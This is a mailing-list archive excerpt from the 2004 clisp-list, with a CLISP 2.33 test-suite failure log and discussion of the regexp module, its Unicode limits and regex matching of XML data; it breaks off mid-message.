Bytes GC: 422, GC time: 53.85 sec. 8769 ; 3 Bye. (echo *.erg | grep '*' >/dev/null) || (echo "Test failed:" ; ls -l *erg; echo "To see which tests failed, type" ; echo " cat "`pwd`"/*.erg" ; exit 1) Test failed: -rw-r--r-- 1 rocktige rocktige 2556 May 26 23:54 clos.erg To see which tests failed, type cat /home/rocktiger/lisp/build/clisp-2.33/deb-test/suite/*.erg make[1]: *** [compare] Error 1 make[1]: Leaving directory `/home/rocktiger/lisp/build/clisp-2.33/deb-test/= suite' make: *** [testsuite] Error 2 $ less /home/rocktiger/lisp/build/clisp-2.33/deb-test/suite/*.erg Form: (PROGN (DEFCLASS TEST-CLASS1 NIL ((FOO :INITARG :FOO :ACCESSOR FOO :INITFORM 0))) (DEFCLASS TEST-CLASS2 NIL ((FOO :INITARG :FOO :ACCESSOR FOO :INITFORM 0))) (DEFMETHOD MAKE-LOAD-FORM ((OBJ TEST-CLASS1) &OPTIONAL ENVIRONMENT) (DECLARE (IGNORE ENVIRONMENT)) `(MAKE-INSTANCE 'TEST-CLASS1 :FOO ',(FOO OBJ))) (DEFMETHOD MAKE-LOAD-FORM ((OBJ TEST-CLASS2) &OPTIONAL ENVIRONMENT) (DECLARE (IGNORE ENVIRONMENT)) `(MAKE-INSTANCE 'TEST-CLASS2 :FOO ',(FOO OBJ))) (DEFPARAMETER *T-LIST* (LIST (MAKE-INSTANCE 'TEST-CLASS1 :FOO 100) (MAKE-INSTANCE 'TEST-CLASS2 :FOO 200))) (MLF-TESTER '*T-LIST*) (MAPCAR #'FOO *T-LIST*)) CORRECT: (100 200) CLISP : ERROR LOAD: A file with name /home/lisp/clocc/src/tools/ansi-test/make-load-form-demo.fas does not exist Form: (PROGN (DEFCLASS POS NIL ((X :INITARG :X :READER POS-X) (Y :INITARG :Y :READER POS-Y) (R :ACCESSOR POS-R))) (DEFMETHOD SHARED-INITIALIZE :AFTER ((SELF POS) IGNORE1 &REST IGNORE2) (DECLARE (IGNORE IGNORE1 IGNORE2)) (UNLESS (SLOT-BOUNDP SELF 'R) (SETF (POS-R SELF) (SQRT (+ (* (POS-X SELF) (POS-X SELF)) (* (POS-Y SELF) (POS-Y SELF))))))) (DEFMETHOD MAKE-LOAD-FORM ((SELF POS) &OPTIONAL ENVIRONMENT) (DECLARE (IGNORE ENVIRONMENT)) `(MAKE-INSTANCE ',(CLASS-NAME (CLASS-OF SELF)) :X ',(POS-X SELF) :Y ',(POS-Y SELF))) (SETQ *FOO* (MAKE-INSTANCE 'POS :X 3.0 :Y 4.0)) (MLF-TESTER '*FOO*) (LIST (POS-X *FOO*) (POS-Y *FOO*) (POS-R *FOO*))) CORRECT: (3.0 4.0 5.0) CLISP : ERROR LOAD: A file with name /home/lisp/clocc/src/tools/ansi-test/make-load-form-demo.fas does not exist Form: (PROGN (DEFCLASS TREE-WITH-PARENT NIL ((PARENT :ACCESSOR TREE-PARENT) (CHILDREN :INITARG :CHILDREN))) (DEFMETHOD MAKE-LOAD-FORM ((X TREE-WITH-PARENT) &OPTIONAL ENVIRONMENT) (DECLARE (IGNORE ENVIRONMENT)) (VALUES `(MAKE-INSTANCE ',(CLASS-NAME (CLASS-OF X))) `(SETF (TREE-PARENT ',X) ',(SLOT-VALUE X 'PARENT) (SLOT-VALUE ',X 'CHILDREN) ',(SLOT-VALUE X 'CHILDREN)))) (SETQ *FOO* (MAKE-INSTANCE 'TREE-WITH-PARENT :CHILDREN (LIST (MAKE-INSTANCE 'TREE-WITH-PARENT :CHILDREN NIL) (MAKE-INSTANCE 'TREE-WITH-PARENT :CHILDREN NIL)))) (SETF (TREE-PARENT *FOO*) *FOO*) (DOLIST (CH (SLOT-VALUE *FOO* 'CHILDREN)) (SETF (TREE-PARENT CH) *FOO*)) (MLF-TESTER '*FOO*) (LIST (EQ *FOO* (TREE-PARENT *FOO*)) (EVERY (LAMBDA (X) (EQ X *FOO*)) (MAPCAR #'TREE-PARENT (SLOT-VALUE *FOO* 'CHILDREN))) (EVERY #'NULL (MAPCAR (LAMBDA (X) (SLOT-VALUE X 'CHILDREN)) (SLOT-VALUE *FOO* 'CHILDREN))))) CORRECT: (T T T) CLISP : ERROR LOAD: A file with name /home/lisp/clocc/src/tools/ansi-test/make-load-form-demo.fas does not exist --hX3v94LCWtOgt2h1 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQFAtcBvrZy455Pig6QRAifNAJ4gYBFqwr+xUl3cC8/2lnRLqyN6fACfcI/j 6lGZinybbGimxkEpIYfEgBM= =zt4/ -----END PGP SIGNATURE----- --hX3v94LCWtOgt2h1-- From bruno@clisp.org Thu May 27 05:29:59 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BTK1G-00049M-Ey for clisp-list@lists.sourceforge.net; Thu, 27 May 2004 05:29:58 -0700 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BTK1F-0002B5-Dk for clisp-list@lists.sourceforge.net; Thu, 27 May 2004 05:29:57 -0700 Received: from laposte.ilog.fr (cerbere-qe0 [81.80.162.193]) by ftp.ilog.fr (8.12.11/8.12.11) with ESMTP id i4RCTai1004741; Thu, 27 May 2004 14:29:36 +0200 (MET DST) Received: from skymaple.ilog.fr ([172.16.15.121]) by laposte.ilog.fr (8.12.11/8.12.11) with ESMTP id i4RCTUDT011898; Thu, 27 May 2004 14:29:31 +0200 (MET DST) Received: from localhost (localhost [127.0.0.1]) by skymaple.ilog.fr (Postfix) with ESMTP id B32AD3B3FE; Thu, 27 May 2004 12:21:10 +0000 (UTC) From: Bruno Haible To: clisp-list@lists.sourceforge.net, Sam Steingold User-Agent: KMail/1.5 Cc: clisp-list@lists.sourceforge.net, "John K. Hinsdale" References: <20040526145820.GW12512@naia.homelinux.net> <200405262011.36553.bruno@clisp.org> In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200405271421.08470.bruno@clisp.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Regexps w/clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu May 27 05:30:32 2004 X-Original-Date: Thu, 27 May 2004 14:21:08 +0200 Sam wrote: > I am not sure what you mean here. > At any rate, the regexp module comes with a 10 y.o. implementation > whose origin is unclear. The origin is simple: The code is the GNU regex 0.12 that was the common regular expression implementation in GNU programs for years. It's only 8-bit, though. The documentation has a part copied from GNU ed, a part from GNU emacs with modifications, and the Lisp interface description that I wrote. > (One big problem is unicode). Yes, this is the big problem. > I would prefer either finding a unicode regexp and ignoring the OS Yes. Did you try http://sourceforge.net/projects/ustring/ ? > or dumping the bundled regexp and requiring OS to offer one. This doesn't help, because the glibc regex is Unicode capable only within an UTF-8 locale. Bruno From bruno@clisp.org Thu May 27 05:37:59 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BTK90-0005qX-Pv for clisp-list@lists.sourceforge.net; Thu, 27 May 2004 05:37:58 -0700 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BTK90-0004Dh-AG for clisp-list@lists.sourceforge.net; Thu, 27 May 2004 05:37:58 -0700 Received: from laposte.ilog.fr (cerbere-qe0 [81.80.162.193]) by ftp.ilog.fr (8.12.11/8.12.11) with ESMTP id i4RCbjOA005087; Thu, 27 May 2004 14:37:45 +0200 (MET DST) Received: from skymaple.ilog.fr ([172.16.15.121]) by laposte.ilog.fr (8.12.11/8.12.11) with ESMTP id i4RCbdKo012849; Thu, 27 May 2004 14:37:39 +0200 (MET DST) Received: from localhost (localhost [127.0.0.1]) by skymaple.ilog.fr (Postfix) with ESMTP id A6BF13B3FE; Thu, 27 May 2004 12:29:19 +0000 (UTC) From: Bruno Haible To: edi@agharta.de User-Agent: KMail/1.5 Cc: clisp-list@lists.sourceforge.net, "John K. Hinsdale" References: <20040526145820.GW12512@naia.homelinux.net> <87y8ne5nkl.fsf@agharta.de> In-Reply-To: <87y8ne5nkl.fsf@agharta.de> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200405271429.17650.bruno@clisp.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Regexps w/clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu May 27 05:38:09 2004 X-Original-Date: Thu, 27 May 2004 14:29:17 +0200 Edi Weitz wrote: > Last time I checked it was comparable in speed with CLISP's regex > engine. Do you mean the speed when run in a Lisp implementation that compiles to native code, or when run in clisp? Doing character-at-a-time processing in byte-compiled clisp is quite slow; that's why we are looking for an implementation written in C/C++. Bruno From sds@gnu.org Thu May 27 08:15:57 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BTMbr-0003kU-Py for clisp-list@lists.sourceforge.net; Thu, 27 May 2004 08:15:55 -0700 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BTMbr-0006Vu-Fp for clisp-list@lists.sourceforge.net; Thu, 27 May 2004 08:15:55 -0700 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #7) id 1BTMbm-0001WW-00; Thu, 27 May 2004 11:15:51 -0400 To: clisp-list@lists.sourceforge.net, Chris Hall Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20040527101823.GZ12512@naia.homelinux.net> (Chris Hall's message of "Thu, 27 May 2004 00:18:24 -1000") References: <20040527101823.GZ12512@naia.homelinux.net> Mail-Followup-To: clisp-list@lists.sourceforge.net, Chris Hall Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Working build of 2.33 on Debian? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu May 27 08:17:40 2004 X-Original-Date: Thu, 27 May 2004 11:15:50 -0400 > * Chris Hall [2004-05-27 00:18:24 -1000]: > > My question - how 'safe' would it be to use one of these builds? either is perfectly fine. > $ less /home/rocktiger/lisp/build/clisp-2.33/deb-test/suite/*.erg > > CORRECT: (100 200) > CLISP : ERROR > LOAD: A file with name > /home/lisp/clocc/src/tools/ansi-test/make-load-form-demo.fas does not > exist does this directory exist? why is it used? this is very strange. -- Sam Steingold (http://www.podval.org/~sds) running w2k I don't want to be young again, I just don't want to get any older. From sds@gnu.org Thu May 27 08:17:32 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BTMdO-00041T-JN for clisp-list@lists.sourceforge.net; Thu, 27 May 2004 08:17:30 -0700 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BTMdO-0006pj-AO for clisp-list@lists.sourceforge.net; Thu, 27 May 2004 08:17:30 -0700 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #7) id 1BTMdN-0001qD-00; Thu, 27 May 2004 11:17:29 -0400 To: clisp-list@lists.sourceforge.net, Bruno Haible Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200405271421.08470.bruno@clisp.org> (Bruno Haible's message of "Thu, 27 May 2004 14:21:08 +0200") References: <20040526145820.GW12512@naia.homelinux.net> <200405262011.36553.bruno@clisp.org> <200405271421.08470.bruno@clisp.org> Mail-Followup-To: clisp-list@lists.sourceforge.net, Bruno Haible Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Regexps w/clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu May 27 08:18:29 2004 X-Original-Date: Thu, 27 May 2004 11:17:28 -0400 > * Bruno Haible [2004-05-27 14:21:08 +0200]: > >> I would prefer either finding a unicode regexp and ignoring the OS > Yes. Did you try http://sourceforge.net/projects/ustring/ ? project is dead - nothing has been done in 4 years. >> or dumping the bundled regexp and requiring OS to offer one. > > This doesn't help, because the glibc regex is Unicode capable only > within an UTF-8 locale. indeed. -- Sam Steingold (http://www.podval.org/~sds) running w2k Beauty is only a light switch away. From hall.cj@verizon.net Thu May 27 08:52:22 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BTNB8-0003Hb-BH for clisp-list@lists.sourceforge.net; Thu, 27 May 2004 08:52:22 -0700 Received: from out002pub.verizon.net ([206.46.170.141] helo=out002.verizon.net) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BTNB7-0007PF-U2 for clisp-list@lists.sourceforge.net; Thu, 27 May 2004 08:52:21 -0700 Received: from naia.homelinux.net ([4.64.145.131]) by out002.verizon.net (InterMail vM.5.01.06.06 201-253-122-130-106-20030910) with ESMTP id <20040527155220.EKQ9273.out002.verizon.net@naia.homelinux.net> for ; Thu, 27 May 2004 10:52:20 -0500 Received: from rocktiger by naia.homelinux.net with local (Exim 3.35 #1 (Debian)) id 1BTNB5-0003ZF-00 for ; Thu, 27 May 2004 05:52:19 -1000 To: clisp-list@lists.sourceforge.net Message-ID: <20040527155218.GA12512@naia.homelinux.net> References: <20040527101823.GZ12512@naia.homelinux.net> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="Y/IXGmCbwaJEfeoX" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.28i From: Chris Hall X-Authentication-Info: Submitted using SMTP AUTH at out002.verizon.net from [4.64.145.131] at Thu, 27 May 2004 10:52:20 -0500 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Working build of 2.33 on Debian? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu May 27 08:53:02 2004 X-Original-Date: Thu, 27 May 2004 05:52:18 -1000 --Y/IXGmCbwaJEfeoX Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Thu, May 27, 2004 at 11:15:50AM -0400, Sam Steingold wrote: > > * Chris Hall [2004-05-27 00:18:24 -1000]: > > > > My question - how 'safe' would it be to use one of these builds? >=20 > either is perfectly fine. Yesssss! I am *so* glad to hear this! >=20 > > $ less /home/rocktiger/lisp/build/clisp-2.33/deb-test/suite/*.erg > > > > CORRECT: (100 200) > > CLISP : ERROR > > LOAD: A file with name > > /home/lisp/clocc/src/tools/ansi-test/make-load-form-demo.fas does not > > exist >=20 > does this directory exist? > why is it used? this is very strange. It does indeed, and there is also a make-load-form-demo.lisp file in it. I was wondering about that as well. I've looked in my bash environment, and the only lisp-related item I can find was CMUCLLIB. I do (now) have a .clisprc.lisp, but that is just since I installed (finally!) clisp 2.33, and all it does so far is load asdf. As an aside, CLOCC is indirectly kind of responsible for my decision to switch to clisp (long story). One thing I have become aware of during the whole 'familiarization process' of learning how clisp is built is the sheer quantity of high-quality work you folks have put in to this and best of all have contributed to the world at large. I find it to be a truly impressive achievement and an equally impressive gesture, and I've been developing software systems of various sizes full-time for 25+ years. You guys rock! Thank you all, and thank you again, Sam, in particular for the time you've taken to nurse me along. Aloha, +Chris __ No single drop of water thinks it is responsible for the flood. -- Old adage --Y/IXGmCbwaJEfeoX Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQFAtg6yrZy455Pig6QRAmcoAJ47BEDmuDxuxzC5fYHE1V1LNpG+hgCfRv3h GR52A7alnOReO3Jbn3w+2+w= =mpnQ -----END PGP SIGNATURE----- --Y/IXGmCbwaJEfeoX-- From hall.cj@verizon.net Thu May 27 10:06:12 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BTOKY-0002LY-Gf for clisp-list@lists.sourceforge.net; Thu, 27 May 2004 10:06:10 -0700 Received: from out002pub.verizon.net ([206.46.170.141] helo=out002.verizon.net) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BTOKY-0000qb-2r for clisp-list@lists.sourceforge.net; Thu, 27 May 2004 10:06:10 -0700 Received: from naia.homelinux.net ([4.64.145.131]) by out002.verizon.net (InterMail vM.5.01.06.06 201-253-122-130-106-20030910) with ESMTP id <20040527170608.ZMI9273.out002.verizon.net@naia.homelinux.net>; Thu, 27 May 2004 12:06:08 -0500 Received: from rocktiger by naia.homelinux.net with local (Exim 3.35 #1 (Debian)) id 1BTOKV-0003r9-00; Thu, 27 May 2004 07:06:07 -1000 To: "John K. Hinsdale" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Regexps w/clisp Message-ID: <20040527170607.GC12512@naia.homelinux.net> References: <20040526145820.GW12512@naia.homelinux.net> <200405261602.i4QG2Fgo004295@van-halen.alma.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="bmlge7Pg4VPvffji" Content-Disposition: inline In-Reply-To: <200405261602.i4QG2Fgo004295@van-halen.alma.com> User-Agent: Mutt/1.3.28i From: Chris Hall X-Authentication-Info: Submitted using SMTP AUTH at out002.verizon.net from [4.64.145.131] at Thu, 27 May 2004 12:06:08 -0500 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu May 27 10:07:09 2004 X-Original-Date: Thu, 27 May 2004 07:06:07 -1000 --bmlge7Pg4VPvffji Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, May 26, 2004 at 12:02:15PM -0400, John K. Hinsdale wrote: >=20 > I think this will do what you want: >=20 > (setf patt "<[/]\\?issuer\\(.*\\)\\?>") > (regexp:match patt "CITIZENS BANKING CORP") >=20 > Note that the backslashes are doubled so that the literal string > assigned to "patt" is: >=20 > <[/]\?issuer\(.*\)\?>") >=20 > and the ? quantifier and grouping parens are preceded by backslash >=20 > > I already have some useful regexes to do what I want on this data that > > run in production under awk and/or guile - I can pretty much just cut > > and paste expressions from one to the other. >=20 > There is a module called "pcre" (Perl-Compatible Regular Expressions) > that will use regex syntax ala perl. I prefer this actually, mainly > because perl's syntax avoids what Larry Wall called "backslashitis", > an overabundance of backslashes which under POSIX appear in the very > commonly used operators. Adding to this the fact that to get a > backslash INTO a literal string (in perl, C, lisp) you have to double > it as "\\" then you go crazy. Perl's syntax considers the special > operators like ? to be special by DEFAULT and if you want them > literally THEN you must quote them. >=20 > I think the POSIX designers did this because it is conceptually more > elegant and consistent to have all regex operators be escaped w/ > backslash, but then it looks like hell when you actually use it. >=20 > Sam: the syntax page at: >=20 > http://clisp.cons.org/impnotes/regexp.html >=20 > should probably say it's POSIX, and draw a distinction b/w > other syntaxes (GNU grep, perl, etc.) >=20 > I agree all this different syntaxes are reall pain=20 >=20 No pain, no gain! ;-) (And as we used to say in the marines: "Pain is just weakness leaving the body!") The reference material that for some reason made things click for me on this was the regex.h link from the clisp extensions page for regexp - if I am not mistaken, that is *the* description for how the engine works. It might be 'just' a man page, but it is *much* better than the one for the same subject on my Debian box. http://www.opengroup.org/onlinepubs/007904975/basedefs/regex.h.html Anyway, I think I've found the answers to about 90% of my questions in regard to the clisp regexp package, and the last one Ive got a fairly decent workaround for. I'm beginning to get comfortable with this package - so far, it seems to meet my needs quite well. If you are at all interested, starting with the pattern you so kindly suggested to me, here is what I've come up with so far. (defvar xml-tree " 0 0000351077 CITIZENS BANKING CORP CBCF ") (defvar issuer-leaf=3D20 (match-string xml-tree (match ".*?" xml-tree :extended t))) Sets 'issuer-leaf' to just the content between and inclusive of the tags, and illustrates my last remaining question about this. If I read the entire original file into xml-tree (about 13100 bytes), and use "(.*)?", the match fails. Remove the the grouping parentheses, and it works as above. *However*, if we now use the pattern *with* the parentheses on 'issuer-leaf' as in: (match-string issuer-leaf=3D20 (cadr (multiple-value-list=3D20 (match "(.*)?" issuer-leaf :extended t)))) Returns: " 0000351077 CITIZENS BANKING CORP CBCF " The ':extended t' argument removes the need for most of, if not all, ofthe painful backslash escaping as well, as per the referenced man page - _that_ makes things a bit easier, IMO. The 'match' form in the example returns two match structures: first, the 'overall match', then next, any groups specified in the pattern - in this case, the stuff *between* the tags. Woot! *Now* we are getting somewhere! Using this strategy it is very straightforward to get to the juicy bits. But why, oh why doesn't parentheses/grouping work against the whole xml tree, I wonder? Hmmm. I'm not going to spend much more time on it, since I've now got a working strategy, but I *am* curious about it. =3D20 I'd thought at first that it was due to '.* greediness', so I put in the '?' to make them lazy instead - nope, no difference. As a nice benefit though, the '?' seems to provide a consistent 0.01 second speed up on my ooold, slooow box against this very tiny sample. (BTW, I only used 'cadr' in the example because I know from experimentation that there are two matches, and the second is the group that I am interested in - I doubt I would use it in a real program.) Aloha, +Chris __ No single drop of water thinks it is responsible for the flood. -- Old adage --bmlge7Pg4VPvffji Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQFAth//rZy455Pig6QRApxnAJ9awr1RPUXfYvR3yxOvn/9FVcBTiQCffSTC 5LqdNCi3/G689yVgJdVoLtc= =Tott -----END PGP SIGNATURE----- --bmlge7Pg4VPvffji-- From sds@gnu.org Thu May 27 11:01:22 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BTPBy-0005Zf-Hs for clisp-list@lists.sourceforge.net; Thu, 27 May 2004 11:01:22 -0700 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BTPBy-0006Dg-41 for clisp-list@lists.sourceforge.net; Thu, 27 May 2004 11:01:22 -0700 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #7) id 1BTPBu-0002Qx-00; Thu, 27 May 2004 14:01:18 -0400 To: clisp-list@lists.sourceforge.net, Chris Hall Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20040527170607.GC12512@naia.homelinux.net> (Chris Hall's message of "Thu, 27 May 2004 07:06:07 -1000") References: <20040526145820.GW12512@naia.homelinux.net> <200405261602.i4QG2Fgo004295@van-halen.alma.com> <20040527170607.GC12512@naia.homelinux.net> Mail-Followup-To: clisp-list@lists.sourceforge.net, Chris Hall Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Regexps w/clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu May 27 11:02:01 2004 X-Original-Date: Thu, 27 May 2004 14:01:17 -0400 Chris, it just occurred to me that you are parsing an XML file: maybe you would prefer to use a full parser instead of searching for a specific element? CLOCC/CLLIB/xml.lisp will parse the whole XML file for you. There are other CL XML parsers available, check out cliki. -- Sam Steingold (http://www.podval.org/~sds) running w2k Programming is like sex: one mistake and you have to support it for a lifetime. From edi@agharta.de Thu May 27 16:38:22 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BTUS2-0003c9-D9 for clisp-list@lists.sourceforge.net; Thu, 27 May 2004 16:38:18 -0700 Received: from trane.agharta.de ([62.159.208.82] helo=bird.agharta.de) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BTUS1-0002mr-3S for clisp-list@lists.sourceforge.net; Thu, 27 May 2004 16:38:17 -0700 Received: by bird.agharta.de (Postfix, from userid 1000) id 02F7923D5F; Fri, 28 May 2004 01:38:16 +0200 (CEST) To: clisp-list@lists.sourceforge.net Reply-To: edi@agharta.de References: <20040526145820.GW12512@naia.homelinux.net> <87y8ne5nkl.fsf@agharta.de> <200405271429.17650.bruno@clisp.org> From: Edi Weitz In-Reply-To: <200405271429.17650.bruno@clisp.org> (Bruno Haible's message of "Thu, 27 May 2004 14:29:17 +0200") Message-ID: <87r7t5tp94.fsf@agharta.de> User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Regexps w/clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu May 27 16:39:08 2004 X-Original-Date: Fri, 28 May 2004 01:38:15 +0200 On Thu, 27 May 2004 14:29:17 +0200, Bruno Haible wrote: > Edi Weitz wrote: >> Last time I checked it was comparable in speed with CLISP's regex >> engine. > > Do you mean the speed when run in a Lisp implementation that > compiles to native code, or when run in clisp? I meant CL-PPCRE when run in CLISP. Of course it's much faster when compiled to native code. > Doing character-at-a-time processing in byte-compiled 